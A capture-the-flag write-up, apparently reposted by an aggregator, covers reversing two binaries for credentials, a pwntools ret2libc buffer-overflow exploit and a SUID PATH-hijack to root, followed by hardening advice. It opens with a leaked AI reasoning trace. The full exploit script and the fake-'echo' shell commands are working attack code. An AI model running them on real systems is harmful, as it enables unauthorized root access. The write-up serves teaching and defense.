Binary Heaven — Reverse Engineering Go Binaries, ret2libc Buffer Overflow, and PATH Hijack to Root…
好的,我现在需要帮助用户总结一篇关于二进制exploit的文章,控制在100字以内。首先,我得仔细阅读文章内容,了解主要步骤和关键点。 文章分为三个主要部分:反编译、SSH访问与缓冲区溢出、权限提升。反编译部分涉及两个二进制文件,通过radare2和Go分析获取用户名和密码。接着通过SSH登录,利用缓冲区溢出漏洞使用ret2libc技术提升权限到binexgod。最后,通过PATH hijack漏洞获得root权限。 总结时需要涵盖这三个阶段:反编译获取凭证、SSH登录、缓冲区溢出提升权限到binexgod,以及利用PATH hijack获取root。同时要保持简洁,控制在100字左右。 可能会遗漏一些细节,比如具体的漏洞利用方法或工具的使用,但这些可以简化。重点放在攻击链的阶段和结果上。 最后,确保语言流畅自然,不使用专业术语过多,让用户容易理解。 </think> 文章描述了一个Linux CTF挑战的攻击链:通过反编译两个二进制文件获取用户名和密码,SSH登录后利用缓冲区溢出漏洞(ret2libc)从guardian用户提升权限至binexgod,最后通过PATH劫持SUID二进制文件获得root权限。 2026-4-12 07:22:33 Author: infosecwriteups.com(查看原文) 阅读量:16 收藏

Category: Binary Exploitation | Reverse Engineering | Privilege Escalation
OS: Ubuntu 16.04 LTS (x86 / x86–64)
Tools: radare2, gdb, pwntools, strings, ldd, readelf
Flags: guardian_flag.txt · binexgod_flag.txt · root

Roshan Rajbanshi

Press enter or click to view image in full size

Table of Contents

1. Overview
2. Part 1 — Reverse Engineering the Angel Binaries
2.1 Initial Reconnaissance
2.2 Reversing angel_A with radare2
2.3 Reversing angel_B (Go Binary)
3. Part 2 — SSH Access & Buffer Overflow (ret2libc)
3.1 SSH into the Target
3.2 Enumerating the Home Directory
3.3 Gathering Exploit Primitives
3.4 Writing the ret2libc Exploit
3.5 Running the Exploit
4. Part 3 — Privilege Escalation to Root (PATH Hijack)
4.1 Enumerating as binexgod
4.2 Identifying the Vulnerability
4.3 Exploiting the PATH Hijack
5. Attack Chain Summary
6. Defense & Mitigation
6.1 Anti-Reversing Improvements
6.2 Buffer Overflow Mitigations
6.3 SUID Binary Hardening
6.4 General Hardening Recommendations
7. Key Takeaways

1. Overview

Binary Heaven is a Linux-based CTF challenge composed of three escalating phases. The attacker starts with no credentials, reverses two mystery binaries to discover a username and password, SSHs into the target, exploits a 32-bit buffer overflow using a ret2libc technique to pivot from the guardian user to binexgod, and finally abuses a SUID binary with a PATH hijack to land a root shell.

2. Part 1 — Reverse Engineering the Angel Binaries

2.1 Initial Reconnaissance

Two binaries are provided: angel_A (17KB, dynamically linked ELF 64-bit) and angel_B (2.1MB, statically linked Go binary). Running both shows, they prompt for a username and a magic word.

$ file angel_A angel_B
angel_A: ELF 64-bit LSB pie executable, x86-64, dynamically linked
angel_B: ELF 64-bit LSB executable, x86-64, statically linked (Go)
$ chmod +x angel_A angel_B
$ ./angel_A
Say my username >> test
That is not my username!
Say the magic word >> yok
You are not worthy of heaven!

Computing checksums confirms the files are distinct:

$ sha256sum angel_A angel_B
403b7f2ae47a7ad069e852bdf8bcacb3f7fb5c9b3a6a749ec07f0a40b0165e61 angel_A
d5fcee8d947fa598d35724cdbc65fea6f7c24f10e9cd00697be6affd70ae7532 angel_B

2.2 Reversing angel_A with radare2

Loading angel_A In radare2, running a full analysis reveals the main function. The binary calls ptrace(PTRACE_TRACEME) on itself as an anti-debug trick — if a debugger is attached, the call fails and the binary exits early.

$ r2 angel_A
[0x00001090]> aaa
[0x00001090]> afl
0x00001175 8 225 main
[0x00001090]> pdf @ main
; ptrace anti-debug check
0x000011a2 cmp rax, 0xffffffffffffffff
0x000011a8 lea rdi, str.Using_debuggers...
; Username input via fgets() size=9
0x000011df mov esi, 9
0x000011e7 call sym.imp.fgets
; XOR comparison loop against stored value
0x00001211 movzx eax, byte [rbp + rax - 0xd]
0x00001215 xor eax, 4 ; key = 4

Dumping the strings section shows the obfuscated username stored at the address 0x4060:

[0x00001090]> iz
4 0x00004060 8 32 .data utf32le kym~humr

Press enter or click to view image in full size

The stored value kym~humr is XOR-encoded with the key 4. A simple Python script decodes it:

# de.py
stored = "kym~humr"
decoded = "".join([chr((ord(c)-8) ^ 4) for c in stored])
print(decoded)
$ python de.py
[REDACTED]

🔑 Username: [REDACTED]

Confirming with the binary:

$ ./angel_A
Say my username >> [REDACTED]
Correct! That is my name!

2.3 Reversing angel_B (Go Binary)

angel_B is a statically linked Go binary. The large runtime makes it noisy, but navigating to sym.main.main it in radare2 reveals the magic word check. The binary uses runtime.memequal to compare input against a hardcoded string pointer:

[0x00464700]> pdf @ sym.main.main
0x004a54a5 lea rax, [0x004cad0b]
; "[REDACTED]IdeographicMedefaidrin..."
0x004a54b6 call sym.runtime.memequal
0x004a54bb cmp byte [var_18h], 0
0x004a54c0 je 0x4a540a ; wrong

Printing the string at that address:

Press enter or click to view image in full size

[0x00464700]> ps 11 @ 0x004cad0b
[REDACTED]

🔑 Magic word (SSH password): [REDACTED]

3. Part 2 — SSH Access & Buffer Overflow (ret2libc)

3.1 SSH into the Target

Using the credentials recovered from reversing the angel binaries:

$ ssh guardian@[REDACTED]
guardian@[REDACTED]'s password: [REDACTED]
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-142-generic x86_64)
guardian@heaven:~$

3.2 Enumerating the Home Directory

guardian@heaven:~$ ls -la
-rwsr-sr-x 1 binexgod binexgod 15772 May 8 2021 pwn_me
-rw-r--r-- 1 root root 26 Mar 15 2021 guardian_flag.txt
guardian@heaven:~$ ./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7de0950

The binary is SUID (runs as binexgod) and leaks the runtime address of system() directly — the challenge author made this intentionally easy.

3.3 Gathering Exploit Primitives

Finding libc base and offsets:

# Confirm which libc is in use
guardian@heaven:~$ ldd pwn_me
libc.so.6 => /lib32/libc.so.6 (0xf7df1000)
# system() offset within libc
guardian@heaven:~$ readelf -s /lib32/libc.so.6 | grep ' system@@'
1457: 0003a950 FUNC WEAK DEFAULT system@@GLIBC_2.0
# /bin/sh string offset within libc
guardian@heaven:~$ strings -t x /lib32/libc.so.6 | grep '/bin/sh'
15910b /bin/sh

The offset from system() to /bin/sh in this libc: 0x15910b - 0x3a950 = 0x11e7bb

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Finding the overflow offset:

# Fuzz with increasing lengths to find the crash point
for i in {20..100}; do
echo -n "$i "
python3 -c "print('A'*$i)" | ./pwn_me > /dev/null 2>&1 || (echo "Crashed at $i"; break)
done
# Crashes at 28, EIP overwrite confirmed at offset 32 via gdb
guardian@heaven:~$ gdb -q ./pwn_me
(gdb) run <<< $(python3 -c "print('AAAABBBBCCCCDDDDEEEEFFFF...IIII')")
Program received signal SIGSEGV, Segmentation fault.
0x49494949 in ?? () # 'IIII' lands at offset 32

Exploit primitives summary:

+-----------------------------+------------------------------------+
| Primitive | Value |
+-----------------------------+------------------------------------+
| Buffer overflow offset | 32 bytes |
| system() address | Leaked at runtime |
| /bin/sh offset from sys() | +0x11e7bb |
| Architecture | 32-bit (ret2libc layout applies) |
+-----------------------------+------------------------------------+

3.4 Writing the ret2libc Exploit

The ret2libc payload layout on 32-bit: [padding] + [system()] + [fake ret] + [ptr to /bin/sh]

# exploit.py
from pwn import *
# 1. Start process
p = process('./pwn_me')
# 2. Get the leak
p.recvuntil(b'0x')
leak_hex = p.recvline().strip()
system_addr = int(leak_hex, 16)
binsh_addr = system_addr + 0x11e7bb
log.success("System: {}".format(hex(system_addr)))
log.success("/bin/sh: {}".format(hex(binsh_addr)))
# 3. Build payload (32 bytes padding + ret2libc)
payload = b"A" * 32
payload += p32(system_addr) # overwrite saved return address -> system()
payload += p32(0xdeadbeef) # fake return address for system()
payload += p32(binsh_addr) # argument 1 -> "/bin/sh"
# 4. Send payload
p.sendline(payload)
# 5. Drop into interactive shell
log.success("Dropping into shell!")
p.interactive()

3.5 Running the Exploit

# Disable pwntools update check (Python 3.5 compatibility)
guardian@heaven:~$ echo never > ~/.cache/.pwntools-cache-3.5/update
guardian@heaven:~$ python3 exploit.py
[+] Starting local process './pwn_me': pid 2492
[+] System: 0xf7d4b950
[+] /bin/sh: 0xf7e6a10b
[+] Dropping into shell!
[*] Switching to interactive mode
$ id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)

✅ Shell obtained as binexgod!

4. Part 3 — Privilege Escalation to Root (PATH Hijack)

4.1 Enumerating as binexgod

$ ls -la
-rwsr-xr-x 1 root binexgod 8824 Mar 15 2021 vuln
-rwxr-xr-- 1 root binexgod 327 Mar 8 2021 vuln.c
-rw-r--r-- 1 binexgod binexgod 20 Mar 1 2021 binexgod_flag.txt
$ cat binexgod_flag.txt
<flag here>

Reading the source of the SUID binary:

$ cat vuln.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo Get out of heaven lol");
}

4.2 Identifying the Vulnerability

The binary calls system("/usr/bin/env echo ..."). The env utility resolves echo by searching the directories listed in $PATH from left to right. Since PATH is an environment variable that we control, placing a malicious binary named echo at the front of PATH causes env to execute our binary instead — as root, because vuln is SUID.

⚠️ Vulnerability: SUID binary calls env echo with attacker-controlled PATH

4.3 Exploiting the PATH Hijack

# Step 1: Create a fake 'echo' that spawns a shell
$ cd /tmp
$ echo '/bin/sh' > echo
$ chmod +x echo
# Step 2: Prepend /tmp to PATH so our 'echo' is found first
$ export PATH=/tmp:$PATH
# Step 3: Execute the SUID binary
$ /home/binexgod/vuln
$ id
uid=0(root) gid=1001(guardian) groups=1001(guardian)

✅ ROOT SHELL OBTAINED! uid=0(root)

5. Attack Chain Summary

+------+------------------------------------------+-------------------------------+
| Step | Technique | Outcome |
+------+------------------------------------------+-------------------------------+
| 1 | Static analysis + XOR decode (radare2) | Username: [REDACTED] |
| 2 | Go binary string analysis (radare2) | Password: [REDACTED] |
| 3 | SSH login with recovered credentials | Access as guardian |
| 4 | ret2libc via leaked system() address | Shell as binexgod |
| 5 | SUID binary PATH hijack | Root shell uid=0(root) |
+------+------------------------------------------+-------------------------------+

6. Defense & Mitigation

6.1 Anti-Reversing Improvements

Problem: Credentials and secrets are stored in plaintext or with trivially reversible encoding (XOR with a single-byte key). The ptrace anti-debug trick is easily bypassed during static analysis.

Mitigations:

  • Never store credentials in binaries. Authentication should happen server-side. A local binary comparing against a hardcoded password will always be reversible.
  • Use proper key derivation (e.g. PBKDF2, bcrypt) instead of XOR if local verification is unavoidable.
  • Strip binaries (strip) before distribution to remove symbol names, making reverse engineering harder.
  • Enable PIE (Position Independent Executable) to randomize binary load addresses.
  • Anti-debug tricks, like ptrace(PTRACE_TRACEME) providing minimal protection, are bypassed by static analysis — do not rely on them as a security control.

6.2 Buffer Overflow Mitigations

Problem: pwn_me allows a stack buffer overflow that overwrites the saved return address, enabling ret2libc. The binary also leaks a libc address, removing the need to bypass ASLR.

Mitigations:

  • Enable stack canaries (-fstack-protector-all). A random value is placed between local variables and the return address; any overflow that corrupts the return address will also corrupt the canary, causing the program to abort before returning.
  • Enable ASLR (Address Space Layout Randomization). Ensure /proc/sys/kernel/randomize_va_space it is set to 2. This randomizes libc load addresses, making ret2libc much harder without a leak.
  • Never leak internal addresses. Printing system() the address to the user directly hands attackers the key to bypassing ASLR entirely.
  • Enable NX/DEP (-z noexecstack) to prevent shellcode execution on the stack.
  • Enable Full RELRO (-z relro -z now) to make the GOT read-only, blocking GOT overwrite attacks.
  • Use safer input functions. Replace unbounded gets() or oversized fgets() calls with input validation that enforces expected lengths.

Compile-time hardening example:

gcc -fstack-protector-all -pie -fPIE -z relro -z now -D_FORTIFY_SOURCE=2 -o pwn_me pwn_me.c

6.3 SUID Binary Hardening

Problem: The vuln SUID binary calls system("/usr/bin/env echo ..."). Because env resolves echo via PATH, an attacker who controls PATH can substitute their own binary and have it execute as root.

Mitigations:

  • Use absolute paths for all commands inside system() calls. Replace system("/usr/bin/env echo ...") with system("/bin/echo ..."). This eliminates PATH lookups.
  • Better yet, avoid system() SUID binaries entirely. Use execve() with an explicit argument array and a sanitized environment, or exec* family functions that do not invoke a shell.
  • Drop privileges before executing commands. The binary already calls setresuid/setresgid, but does so to the effective UID (root via SUID). It should drop to an unprivileged UID before any external command execution.
  • Clear or sanitize the environment before calling system() or exec(). Specifically zero out PATH, LD_PRELOAD, and LD_LIBRARY_PATH:
clearenv();
setenv("PATH", "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", 1);
  • Minimize SUID usage. If the binary only needs to read a file owned by root, use file ACLs or a privileged service with a narrow API rather than a full SUID binary.
  • Apply the principle of least privilege. If the binary must run as root, use Linux capabilities (CAP_DAC_READ_SEARCH, etc.) scoped to only what is needed rather than the full root SUID.

6.4 General Hardening Recommendations

+------------------+-----------------------------------------------------------------------+
| Area | Recommendation |
+------------------+-----------------------------------------------------------------------+
| Compiler flags | Enable -fstack-protector-all, -pie, -fPIE, -D_FORTIFY_SOURCE=2 |
| Linker flags | Enable -z relro -z now (Full RELRO) |
| Kernel settings | ASLR=2, kernel.dmesg_restrict=1, kernel.perf_event_paranoid=3 |
| SUID binaries | Audit: find / -perm -4000 -type f 2>/dev/null — minimize each one |
| Credentials | Never embed credentials in binaries; use secrets managers |
| Libc leaks | Never expose internal memory addresses to unprivileged users |
| Logging | Alert on SUID executions, unexpected PATH changes, ptrace calls |
| Patching | Keep libc and kernel up to date for upstream exploit mitigations |
+------------------+-----------------------------------------------------------------------+

7. Key Takeaways

  • Static analysis bypasses anti-debug. ptrace(PTRACE_TRACEME) only stops dynamic debugging — it does nothing against radare2 or Ghidra reading the binary offline.
  • XOR obfuscation is not encryption. Single-byte XOR is reversed in seconds once the key is spotted in the disassembly.
  • Go binaries are large, not safe. The runtime bloat makes them noisy to analyze, but the application logic inside sym.main.main is still fully reversible.
  • Leaking libc addresses destroys ASLR. A single leaked pointer hands the attacker the base of libc, making ret2libc trivial regardless of ASLR.
  • pwntools vs raw subprocess. Raw subprocess I/O deadlocks easily on binary exploitation targets. Always use pwntools — p.recvuntil(), p.sendline(), and p.interactive() handle all edge cases cleanly.
  • env + SUID = PATH hijack. Any SUID binary that invokes a command via system() or exec() Without an absolute path is vulnerable to PATH hijacking. This is a well-known and easily prevented class of vulnerability.
  • Least privilege matters. Every escalation in this challenge exploited an over-privileged binary. Proper privilege separation would have contained each step.

文章来源: https://infosecwriteups.com/binary-heaven-reverse-engineering-go-binaries-ret2libc-buffer-overflow-and-path-hijack-to-root-b503dc74f415?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh